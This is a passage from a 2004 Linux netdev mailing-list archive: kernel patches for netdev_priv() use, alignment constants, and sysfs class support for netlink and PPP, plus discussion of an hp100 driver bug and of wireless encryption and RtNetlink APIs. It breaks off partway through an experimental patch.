i24M4Lex017125 for ; Thu, 4 Mar 2004 23:04:21 +0100 Received: (from ralf@localhost) by fluff.linux-mips.net (8.12.8/8.12.8/Submit) id i24M4L57017124 for netdev@oss.sgi.com; Thu, 4 Mar 2004 23:04:21 +0100 Date: Thu, 4 Mar 2004 23:04:21 +0100 From: Ralf Baechle To: netdev Subject: [janitor] use netdev_priv() in NET/ROM and ROSE. Message-ID: <20040304220421.GA16866@linux-mips.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 3759 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: netdev Content-Length: 2792 Lines: 88 netdev_priv-ify two more drivers. Index: net/netrom/nr_dev.c =================================================================== RCS file: /home/cvs/linux/net/netrom/nr_dev.c,v retrieving revision 1.16 diff -u -r1.16 nr_dev.c --- net/netrom/nr_dev.c 10 Jan 2004 04:59:58 -0000 1.16 +++ net/netrom/nr_dev.c 4 Mar 2004 21:58:28 -0000 @@ -46,7 +46,7 @@ int nr_rx_ip(struct sk_buff *skb, struct net_device *dev) { - struct net_device_stats *stats = (struct net_device_stats *)dev->priv; + struct net_device_stats *stats = netdev_priv(dev); if (!netif_running(dev)) { stats->rx_errors++; @@ -73,7 +73,7 @@ static int nr_rebuild_header(struct sk_buff *skb) { struct net_device *dev = skb->dev; - struct net_device_stats *stats = (struct net_device_stats *)dev->priv; + struct net_device_stats *stats = netdev_priv(dev); struct sk_buff *skbn; unsigned char *bp = skb->data; int len; @@ -186,7 +186,7 @@ static int nr_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_device_stats *stats = (struct net_device_stats *)dev->priv; + struct net_device_stats *stats = netdev_priv(dev); dev_kfree_skb(skb); stats->tx_errors++; return 0; @@ -194,7 +194,7 @@ static struct net_device_stats *nr_get_stats(struct net_device *dev) { - return (struct net_device_stats *)dev->priv; + return netdev_priv(dev); } void nr_setup(struct net_device *dev) Index: net/rose/rose_dev.c =================================================================== RCS file: /home/cvs/linux/net/rose/rose_dev.c,v retrieving revision 1.17 diff -u -r1.17 rose_dev.c --- net/rose/rose_dev.c 15 Aug 2003 15:14:41 -0000 1.17 +++ net/rose/rose_dev.c 4 Mar 2004 21:58:28 -0000 @@ -43,7 +43,7 @@ int rose_rx_ip(struct sk_buff *skb, struct net_device *dev) { - struct net_device_stats *stats = (struct net_device_stats *)dev->priv; + struct net_device_stats *stats = netdev_priv(dev); #ifdef CONFIG_INET if (!netif_running(dev)) { @@ -89,7 +89,7 @@ static int rose_rebuild_header(struct sk_buff *skb) { struct net_device *dev = skb->dev; - struct net_device_stats *stats = (struct net_device_stats *)dev->priv; + struct net_device_stats *stats = netdev_priv(dev); unsigned char *bp = (unsigned char *)skb->data; struct sk_buff *skbn; @@ -149,7 +149,7 @@ static int rose_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_device_stats *stats = (struct net_device_stats *)dev->priv; + struct net_device_stats *stats = netdev_priv(dev); if (!netif_running(dev)) { printk(KERN_ERR "ROSE: rose_xmit - called when iface is down\n"); @@ -162,7 +162,7 @@ static struct net_device_stats *rose_get_stats(struct net_device *dev) { - return (struct net_device_stats *)dev->priv; + return netdev_priv(dev); } void rose_setup(struct net_device *dev) From rddunlap@osdl.org Thu Mar 4 14:16:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 14:16:55 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24MGqKO031004 for ; Thu, 4 Mar 2004 14:16:52 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24MGkE05974; Thu, 4 Mar 2004 14:16:46 -0800 Date: Thu, 4 Mar 2004 14:15:53 -0800 From: "Randy.Dunlap" To: netdev Cc: jgarzik Subject: [PATCH] remove magic number for netdev alignment Message-Id: <20040304141553.0080a1ba.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3760 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 2458 Lines: 79 Hi, Please apply to 2.6.current. -- ~Randy // Linux 2.6.3 // remove magic number of '31' for net_device and private alignment; diffstat:= drivers/net/net_init.c | 13 ++++++++----- include/linux/netdevice.h | 7 ++++++- 2 files changed, 14 insertions(+), 6 deletions(-) diff -Naurp ./drivers/net/net_init.c~netpriv ./drivers/net/net_init.c --- ./drivers/net/net_init.c~netpriv 2004-02-17 19:57:14.000000000 -0800 +++ ./drivers/net/net_init.c 2004-03-04 14:15:17.000000000 -0800 @@ -79,8 +79,9 @@ struct net_device *alloc_netdev(int size /* ensure 32-byte alignment of both the device and private area */ - alloc_size = (sizeof(struct net_device) + 31) & ~31; - alloc_size += sizeof_priv + 31; + alloc_size = (sizeof(struct net_device) + NETDEV_ALIGN_CONST) + & ~NETDEV_ALIGN_CONST; + alloc_size += sizeof_priv + NETDEV_ALIGN_CONST; p = kmalloc (alloc_size, GFP_KERNEL); if (!p) { @@ -90,7 +91,8 @@ struct net_device *alloc_netdev(int size memset(p, 0, alloc_size); - dev = (struct net_device *)(((long)p + 31) & ~31); + dev = (struct net_device *)(((long)p + NETDEV_ALIGN_CONST) + & ~NETDEV_ALIGN_CONST); dev->padded = (char *)dev - (char *)p; if (sizeof_priv) @@ -109,7 +111,7 @@ static struct net_device *init_alloc_dev int alloc_size; /* ensure 32-byte alignment of the private area */ - alloc_size = sizeof (*dev) + sizeof_priv + 31; + alloc_size = sizeof (*dev) + sizeof_priv + NETDEV_ALIGN_CONST; dev = (struct net_device *) kmalloc (alloc_size, GFP_KERNEL); if (dev == NULL) @@ -121,7 +123,8 @@ static struct net_device *init_alloc_dev memset(dev, 0, alloc_size); if (sizeof_priv) - dev->priv = (void *) (((long)(dev + 1) + 31) & ~31); + dev->priv = (void *) (((long)(dev + 1) + NETDEV_ALIGN_CONST) + & ~NETDEV_ALIGN_CONST); return dev; } diff -Naurp ./include/linux/netdevice.h~netpriv ./include/linux/netdevice.h --- ./include/linux/netdevice.h~netpriv 2004-02-17 19:59:32.000000000 -0800 +++ ./include/linux/netdevice.h 2004-03-04 14:13:42.000000000 -0800 @@ -478,9 +478,14 @@ struct net_device int padded; }; +#define NETDEV_ALIGN 32 +#define NETDEV_ALIGN_CONST (NETDEV_ALIGN - 1) + static inline void *netdev_priv(struct net_device *dev) { - return (char *)dev + ((sizeof(struct net_device) + 31) & ~31); + return (char *)dev + ((sizeof(struct net_device) + + NETDEV_ALIGN_CONST) + & ~NETDEV_ALIGN_CONST); } #define SET_MODULE_OWNER(dev) do { } while (0) From ogasawara@osdl.org Thu Mar 4 15:02:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 15:03:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24N2ZKO006733 for ; Thu, 4 Mar 2004 15:02:35 -0800 Received: from ibm-d.pdx.osdl.net (ibm-d.pdx.osdl.net [172.20.1.55]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i24N2UE13962; Thu, 4 Mar 2004 15:02:30 -0800 Subject: [PATCH 2.6.4-rc2] sysfs simple class support for netlink From: Leann Ogasawara To: netdev@oss.sgi.com Cc: Hanna Linder , Greg KH Content-Type: text/plain Message-Id: <1078441356.11562.18.camel@ibm-d.pdx.osdl.net> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Thu, 04 Mar 2004 15:02:36 -0800 Content-Transfer-Encoding: 7bit X-archive-position: 3761 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ogasawara@osdl.org Precedence: bulk X-list: netdev Content-Length: 2076 Lines: 74 Hi All, Patch adds sysfs simple class support for netlink character device (Major 36). Feedback appreciated. Thanks, Leann ===== net/netlink/netlink_dev.c 1.19 vs edited ===== --- 1.19/net/netlink/netlink_dev.c Tue Aug 26 09:25:41 2003 +++ edited/net/netlink/netlink_dev.c Thu Mar 4 12:42:44 2004 @@ -27,6 +27,7 @@ #include #include #include +#include #include #include @@ -34,6 +35,7 @@ static long open_map; static struct socket *netlink_user[MAX_LINKS]; +static struct class_simple *netlink_class; /* * Device operations @@ -229,17 +231,26 @@ return -EIO; } + netlink_class = class_simple_create(THIS_MODULE, "netlink"); + if (IS_ERR(netlink_class)) { + printk (KERN_ERR "Error creating netlink class.\n"); + unregister_chrdev(NETLINK_MAJOR, "netlink"); + return PTR_ERR(netlink_class); + } + devfs_mk_dir("netlink"); /* Someone tell me the official names for the uppercase ones */ for (i = 0; i < ARRAY_SIZE(entries); i++) { devfs_mk_cdev(MKDEV(NETLINK_MAJOR, entries[i].minor), S_IFCHR|S_IRUSR|S_IWUSR, "netlink/%s", entries[i].name); + class_simple_device_add(netlink_class, MKDEV(NETLINK_MAJOR, entries[i].minor), NULL, "%s", entries[i].name); } for (i = 0; i < 16; i++) { devfs_mk_cdev(MKDEV(NETLINK_MAJOR, i + 16), S_IFCHR|S_IRUSR|S_IWUSR, "netlink/tap%d", i); + class_simple_device_add(netlink_class, MKDEV(NETLINK_MAJOR, i + 16), NULL, "tap%d", i); } return 0; @@ -249,11 +260,16 @@ { int i; - for (i = 0; i < ARRAY_SIZE(entries); i++) + for (i = 0; i < ARRAY_SIZE(entries); i++) { devfs_remove("netlink/%s", entries[i].name); - for (i = 0; i < 16; i++) + class_simple_device_remove(MKDEV(NETLINK_MAJOR, entries[i].minor)); + } + for (i = 0; i < 16; i++) { devfs_remove("netlink/tap%d", i); + class_simple_device_remove(MKDEV(NETLINK_MAJOR, i + 16)); + } devfs_remove("netlink"); + class_simple_destroy(netlink_class); unregister_chrdev(NETLINK_MAJOR, "netlink"); } From jmorris@redhat.com Thu Mar 4 15:56:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 15:56:56 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24NuUKO014546 for ; Thu, 4 Mar 2004 15:56:32 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i24NuSb05851; Thu, 4 Mar 2004 18:56:28 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i24NuR807387; Thu, 4 Mar 2004 18:56:27 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i24NuLYK003246; Thu, 4 Mar 2004 18:56:21 -0500 Date: Thu, 4 Mar 2004 18:57:00 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: Leann Ogasawara cc: netdev@oss.sgi.com, Hanna Linder , Greg KH , "David S. Miller" , Subject: Re: [PATCH 2.6.4-rc2] sysfs simple class support for netlink In-Reply-To: <1078441356.11562.18.camel@ibm-d.pdx.osdl.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3762 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev Content-Length: 241 Lines: 16 On Thu, 4 Mar 2004, Leann Ogasawara wrote: > Hi All, > > Patch adds sysfs simple class support for netlink character device > (Major 36). Feedback appreciated. Thanks, Looks fine to me. - James -- James Morris From falcon@muflon.linux.pl Thu Mar 4 16:07:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 16:07:21 -0800 (PST) Received: from don.falconne.eu.org (postfix@pc74.torun.sdi.tpnet.pl [213.25.214.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2507GKO016107 for ; Thu, 4 Mar 2004 16:07:17 -0800 Received: from localhost (localhost [127.0.0.1]) by don.falconne.eu.org (Postfix) with ESMTP id 938381800EA2; Fri, 5 Mar 2004 01:07:13 +0100 (CET) Received: from don.falconne.eu.org ([127.0.0.1]) by localhost (don.falconne.eu.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14025-03; Fri, 5 Mar 2004 01:07:13 +0100 (CET) Received: from pc74.torun.sdi.tpnet.pl (pc74.torun.sdi.tpnet.pl [213.25.214.74]) by don.falconne.eu.org (Postfix) with ESMTP id 6CE2E18010C7; Fri, 5 Mar 2004 01:07:13 +0100 (CET) Date: Fri, 5 Mar 2004 01:07:13 +0100 (CET) From: =?iso-8859-2?Q?Pawe=B3_Soko=B3owski?= X-X-Sender: falcon@don.falconne.eu.org Reply-To: pawel.sokolowski@muflon.linux.pl To: Stephen Hemminger Cc: mzyngier@freesurf.fr, netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: 2.6.4-rc1 + hp100 EISA, not working In-Reply-To: <20040304092650.2575fd1c@dell_ss3.pdx.osdl.net> Message-ID: References: <20040303122541.4dbcf0fc@dell_ss3.pdx.osdl.net> <20040304092650.2575fd1c@dell_ss3.pdx.osdl.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-2 X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at don.falconne.eu.org Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2507GKO016107 X-archive-position: 3763 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: falcon@muflon.linux.pl Precedence: bulk X-list: netdev Content-Length: 1412 Lines: 36 I've seen things you people wouldn't believe. You writing: >> eisa_bus_match dev sig='HWPC061' state=0x1 eids=HWPF180 >> eisa_bus_match dev sig='HWP1940' state=0x3 eids=HWPF180 >> without: >> eisa_bus_match dev sig='HWPC061' state=0x1 eids=HWPF180 >> eisa_bus_match dev sig='HWP1940' state=0x0 eids=HWPF180 >> when modprobing hp100. >The name HWP1940 is in the table, so that looks okay. >Can you build with HP100_DEBUG defined? OK. I builded module from 2.6.4-rc2 with HP100_DEBUG defined. During compilation: drivers/net/hp100.c: In function `hp100_eisa_probe': drivers/net/hp100.c:2875: warning: unsigned int format, long unsigned int arg (arg 3) drivers/net/hp100.c: In function `hp100_module_init': drivers/net/hp100.c:3066: warning: label `out3' defined but not used drivers/net/hp100.c: At top level: drivers/net/hp100.c:2806: warning: `hp100_RegisterDump' defined but not used after modprobe hp100 I'm getting just: bus eisa: add driver hp100 nothing more (I added CONFIG_DEBUG_DRIVER to kernel config). The same on 2.6.4-rc1 (without any message after loading module). -- ,d$$$$$P.d$$b d$P ,gd$$$$$,gd$$$$g. ,$$$b._$$P RLU #172534 ggggggggggggg. ggs ,gg ,gg ,gg ggp,ggggg Pawe³ Soko³owski d$P""""'""""Y$$. d$P d$P d$P ,d$Pd$P `Y$$P falcon@muflon.linux.pl d$P Y$$d$$$$$P`Y$$$$$'`Y$$$$$P'd$P d$P Replicant (M) Des: Falcon From hannal@us.ibm.com Thu Mar 4 18:04:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 18:04:30 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2524KKO031811 for ; Thu, 4 Mar 2004 18:04:27 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i25246fS599084; Thu, 4 Mar 2004 21:04:06 -0500 Received: from gateway.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i25245LR168546; Thu, 4 Mar 2004 19:04:05 -0700 Received: from w-hlinder.beaverton.ibm.com (w-hlinder.beaverton.ibm.com [9.47.17.19]) by gateway.beaverton.ibm.com (8.11.6/8.11.6) with ESMTP id i2522tO25629; Thu, 4 Mar 2004 18:02:55 -0800 Date: Thu, 04 Mar 2004 18:05:14 -0800 From: Hanna Linder To: Chris Wright cc: Hanna Linder , linux-kernel@vger.kernel.org, greg@kroah.com, paulus@samba.org, netdev@oss.sgi.com Subject: Re: [PATCH 2.6] Patch to hook up PPP to simple class sysfs support Message-ID: <42870000.1078452314@w-hlinder.beaverton.ibm.com> In-Reply-To: <20040303195539.S22989@build.pdx.osdl.net> References: <200403032328.i23NSwlv009796@orion.dwf.com> <22370000.1078362205@w-hlinder.beaverton.ibm.com> <20040303195539.S22989@build.pdx.osdl.net> X-Mailer: Mulberry/2.2.1 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 3764 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hannal@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2541 Lines: 100 Thanks Chris. Your changes fixed the reload oops I was seeing. root@w-hlinder2 root]# modprobe ppp_generic [root@w-hlinder2 root]# tree /sys/class/ppp /sys/class/ppp `-- ppp `-- dev 1 directory, 1 file [root@w-hlinder2 root]# rmmod ppp_generic [root@w-hlinder2 root]# tree /sys/class/ppp /sys/class/ppp [error opening dir] 0 directories, 0 files [root@w-hlinder2 root]# modprobe ppp_generic [root@w-hlinder2 root]# tree /sys/class/ppp /sys/class/ppp `-- ppp `-- dev 1 directory, 1 file Please consider the patch below for inclusion. Thanks. --On Wednesday, March 03, 2004 07:55:39 PM -0800 Chris Wright wrote: > > something like below. > > thanks, > -chris > > ===== drivers/net/ppp_generic.c 1.43 vs edited ===== > --- 1.43/drivers/net/ppp_generic.c Wed Feb 18 19:42:37 2004 > +++ edited/drivers/net/ppp_generic.c Wed Mar 3 19:08:24 2004 > @@ -45,6 +45,7 @@ > #include > #include > #include > +#include > #include > #include > > @@ -271,6 +272,8 @@ > static int ppp_disconnect_channel(struct channel *pch); > static void ppp_destroy_channel(struct channel *pch); > > +static struct class_simple *ppp_class; > + > /* Translates a PPP protocol number to a NP index (NP == network protocol) */ > static inline int proto_to_npindex(int proto) > { > @@ -804,15 +807,29 @@ > printk(KERN_INFO "PPP generic driver version " PPP_VERSION "\n"); > err = register_chrdev(PPP_MAJOR, "ppp", &ppp_device_fops); > if (!err) { > + ppp_class = class_simple_create(THIS_MODULE, "ppp"); > + if (IS_ERR(ppp_class)) { > + err = PTR_ERR(ppp_class); > + goto out_chrdev; > + } > + class_simple_device_add(ppp_class, MKDEV(PPP_MAJOR, 0), NULL, "ppp"); > err = devfs_mk_cdev(MKDEV(PPP_MAJOR, 0), > S_IFCHR|S_IRUSR|S_IWUSR, "ppp"); > if (err) > - unregister_chrdev(PPP_MAJOR, "ppp"); > + goto out_class; > } > > +out: > if (err) > printk(KERN_ERR "failed to register PPP device (%d)\n", err); > return err; > + > +out_class: > + class_simple_device_remove(MKDEV(PPP_MAJOR,0)); > + class_simple_destroy(ppp_class); > +out_chrdev: > + unregister_chrdev(PPP_MAJOR, "ppp"); > + goto out; > } > > /* > @@ -2545,6 +2562,8 @@ > if (unregister_chrdev(PPP_MAJOR, "ppp") != 0) > printk(KERN_ERR "PPP: failed to unregister PPP device\n"); > devfs_remove("ppp"); > + class_simple_device_remove(MKDEV(PPP_MAJOR, 0)); > + class_simple_destroy(ppp_class); > } > > /* > From jm@jm.kir.nu Thu Mar 4 20:10:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 20:10:40 -0800 (PST) Received: from jm.kir.nu (dsl017-049-110.sfo4.dsl.speakeasy.net [69.17.49.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i254AYKO013440 for ; Thu, 4 Mar 2004 20:10:35 -0800 Received: from jm by jm.kir.nu with local (Exim 4.21) id 1Az6dN-0007Ij-4y; Thu, 04 Mar 2004 20:08:25 -0800 Date: Thu, 4 Mar 2004 20:08:25 -0800 From: Jouni Malinen To: Pavel Roskin Cc: jt@hpl.hp.com, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: linux-wireless mailing list Message-ID: <20040305040824.GA3980@jm.kir.nu> References: <20040303233343.GA14803@bougret.hpl.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.6i X-archive-position: 3765 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkmaline@cc.hut.fi Precedence: bulk X-list: netdev Content-Length: 3683 Lines: 73 On Thu, Mar 04, 2004 at 02:08:08AM -0500, Pavel Roskin wrote: > On Wed, 3 Mar 2004, Jean Tourrilhes wrote: > > Actually, you remind me that I should ask Jouni to push his > > driver in the kernel. > I believe it can happen after RC4 goes to the kernel and HostAP uses > crypto API (optionally in the standalone version to keep Linux 2.4 > compatibility). Yes, it is quite easy for me to replace the HostAP-internal implementation of WEP with CRC32+RC4 with crypto API. However, the encryption algorithm itself is not everything that is needed for IEEE 802.11 encryption. With WEP, the additional work is quite limited (add IV, verify ICV), but both TKIP and CCMP add quite a bit of more processing for the header (like authentication of pseudo header, replay protection, etc.). Host AP driver uses a structure which allows multiple algorithms to be registered for both encrypting and decrypting skb's with IEEE 802.11 headers. This structure is likely to remain even when the encryption parts themselves are replaced with crypto API. In addition, these functions are completely separate from the rest of the Host AP driver, so it should be easy for other drivers to use them, if desired. Some wlan chipsets use hardware acceleration for the WEP/TKIP/CCMP(AES-CCM), but require the driver to process the IV/ICV/MIC addition/verification. These drivers would also benefit if there were generic functions that would support both software and hwaccel versions for the encryption/decryption. I was looking into pushing Host AP code for the kernel tree, but since non-trivial amount of work would have been required with crypto parts, this was delayed. Then came WPA and I wanted to get it working first.. But maybe now that it is mostly done, I could try to allocate enough time to go through what is needed to get Host AP driver in acceptable shape to be included into the kernel tree. > > > Encryption. There are wireless specific encryption issues. Host based > > > WEP support needs RC4 cipher in the kernel. There's not much to discuss > > > here, but the lack of RC4 in the kernel may indicate that Linux wireless > > > developers are not acting together to make it happen. The patch does > > > exist. > > > > I've never seen this patch. Was it sent to the Crypto guys ? > > http://sourceforge.net/mailarchive/message.php?msg_id=7298902 That's nice to see. However, I would like to know whether any performance testing has been done with that kind of design? It looks like the encryption function (arc4_crypt()) is being called for each byte of the encrypted area. That looks like a major extra work compared to a tight loop going through the data (e.g., compared to the integrated CRC32+RC4 implementation in Host AP driver). With IEEE 802.11b, I don't really are that much about the extra work, but with throughput of IEEE 802.11a/g, this might become considerable. Then again, most modern cards seem to include hardware acceleration and some of them are even able to do this at full data rate. Anyway, software encryption might still be needed for some configuration (like individual keys or some of more exotic things one can do with IEEE 802.11). For these cases, it would be nice to have crypto API support for scatter-gather lists and going through each fragment with one function call. I'll try to get some time to test this with Host AP driver with WEP and TKIP (by first implementing Michael MIC with crypto API). I will also need to do some experimenting with AES and CCMP. With good luck, that could be enough to replace internal crypto algorithm code in the Host AP driver. -- Jouni Malinen PGP id EFC895FA From jt@bougret.hpl.hp.com Thu Mar 4 20:34:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 20:35:01 -0800 (PST) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i254YmKO019996 for ; Thu, 4 Mar 2004 20:34:48 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id CBA551C00597; Thu, 4 Mar 2004 20:03:52 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id UAA02720; Thu, 4 Mar 2004 20:03:52 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1Az6Yy-0004LD-00; Thu, 04 Mar 2004 20:03:52 -0800 Date: Thu, 4 Mar 2004 20:03:52 -0800 To: Jeff Garzik Cc: Pavel Roskin , Netdev Subject: Re: linux-wireless mailing list Message-ID: <20040305040352.GA16669@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <40469DA1.9090502@pobox.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="FL5UXtIhxfXey3p5" Content-Disposition: inline In-Reply-To: <40469DA1.9090502@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3766 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 8451 Lines: 274 --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Mar 03, 2004 at 10:08:17PM -0500, Jeff Garzik wrote: > > The wireless extensions are utility -- they work, but are not beautiful. > I am presently writing the driver for the RealTek wireless card, and > in the process creating a small wireless driver API. The ideal is to > avoid ioctls, and instead to present extensible, type-safe interfaces. > This is what I would like wireless extensions to morph into. Just to check if we are on the same page, I dusted an old patch to add a RtNetlink API to Wireless Extensions. This completely avoids ioctls, is type safe, and still extensible. The patch is fully functional and tested but not finished (no support for GET and private requests). Of course, it won't work on drivers using the old API, such as orinoco.c. Don't blame me, I sent the orinoco patch to David 2 years ago. Please coment on that. If this is what you want, I could accelerate its release. Jean --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="iw264_api_rtnetlink.diff" diff -u -p linux/net/core/rtnetlink.j1.c linux/net/core/rtnetlink.c --- linux/net/core/rtnetlink.j1.c Thu Mar 4 16:14:02 2004 +++ linux/net/core/rtnetlink.c Thu Mar 4 19:52:47 2004 @@ -50,6 +50,10 @@ #include #include #include +#ifdef CONFIG_NET_RADIO +#include /* Note : will define WIRELESS_EXT */ +#include +#endif /* CONFIG_NET_RADIO */ DECLARE_MUTEX(rtnl_sem); @@ -269,6 +273,16 @@ static int do_setlink(struct sk_buff *sk memcpy(dev->broadcast, RTA_DATA(ida[IFLA_BROADCAST - 1]), dev->addr_len); } + +#ifdef WIRELESS_EXT + if (ida[IFLA_WIRELESS - 1]) { + printk(KERN_DEBUG "Calling wireless stuff\n"); + /* Device validity/presence checked in there */ + err = wireless_process_rtnetlink(dev, RTA_DATA(ida[IFLA_WIRELESS - 1]), ida[IFLA_WIRELESS - 1]->rta_len); + if (err) + goto out; + } +#endif /* WIRELESS_EXT */ err = 0; diff -u -p linux/net/core/wireless.j1.c linux/net/core/wireless.c --- linux/net/core/wireless.j1.c Thu Mar 4 16:13:52 2004 +++ linux/net/core/wireless.c Thu Mar 4 18:39:49 2004 @@ -75,6 +75,7 @@ /* Debugging stuff */ #undef WE_IOCTL_DEBUG /* Debug IOCTL API */ +#define WE_RTNETLINK_DEBUG /* Debug RtNetlink API */ #undef WE_EVENT_DEBUG /* Debug Event dispatcher */ #undef WE_SPY_DEBUG /* Debug enhanced spy support */ @@ -941,6 +942,199 @@ int wireless_process_ioctl(struct ifreq } /* Not reached */ return -EINVAL; +} + +/************************ RTNETLINK SUPPORT ************************/ +/* + * The alternate user space API to configure all those Wireless Extensions + * is through RtNEtlink. + * This API support only the new driver API (iw_handler). + * This is still experimental. + */ + +/* ---------------------------------------------------------------- */ +/* + * Wrapper to call a standard Wireless Extension handler. + * We do various checks and also take care of moving data between + * user space and kernel space. + */ +static inline int rtnetlink_standard_call(struct net_device * dev, + struct iw_event * request, + int request_len, + iw_handler handler) +{ + const struct iw_ioctl_description * descr = NULL; + unsigned int cmd; + union iwreq_data * wrqu; + int hdr_len; + struct iw_request_info info; + int ret = -EINVAL; + + /* Get the description of the IOCTL */ + cmd = request->cmd; + if((cmd - SIOCIWFIRST) >= standard_ioctl_num) + return -EOPNOTSUPP; + descr = &(standard_ioctl[cmd - SIOCIWFIRST]); + +#ifdef WE_RTNETLINK_DEBUG + printk(KERN_DEBUG "%s (WE) : Found standard handler for 0x%04X\n", + dev->name, cmd); + printk(KERN_DEBUG "%s (WE) : Header type : %d, Token type : %d, size : %d, token : %d\n", dev->name, descr->header_type, descr->token_type, descr->token_size, descr->max_tokens); +#endif /* WE_IOCTL_DEBUG */ + + /* Extract fixed header from request */ + wrqu = (union iwreq_data *) &request->u; + + /* Prepare the call */ + info.cmd = cmd; + info.flags = 0; + + /* Check if wrqu is complete */ + hdr_len = event_type_size[descr->header_type]; + if(request_len < hdr_len) { +#ifdef WE_RTNETLINK_DEBUG + printk(KERN_DEBUG "%s (WE) : Wireless request too short (%d)\n", + dev->name, request_len); + return -EINVAL; +#endif /* WE_RTNETLINK_DEBUG */ + } + + /* Check if we 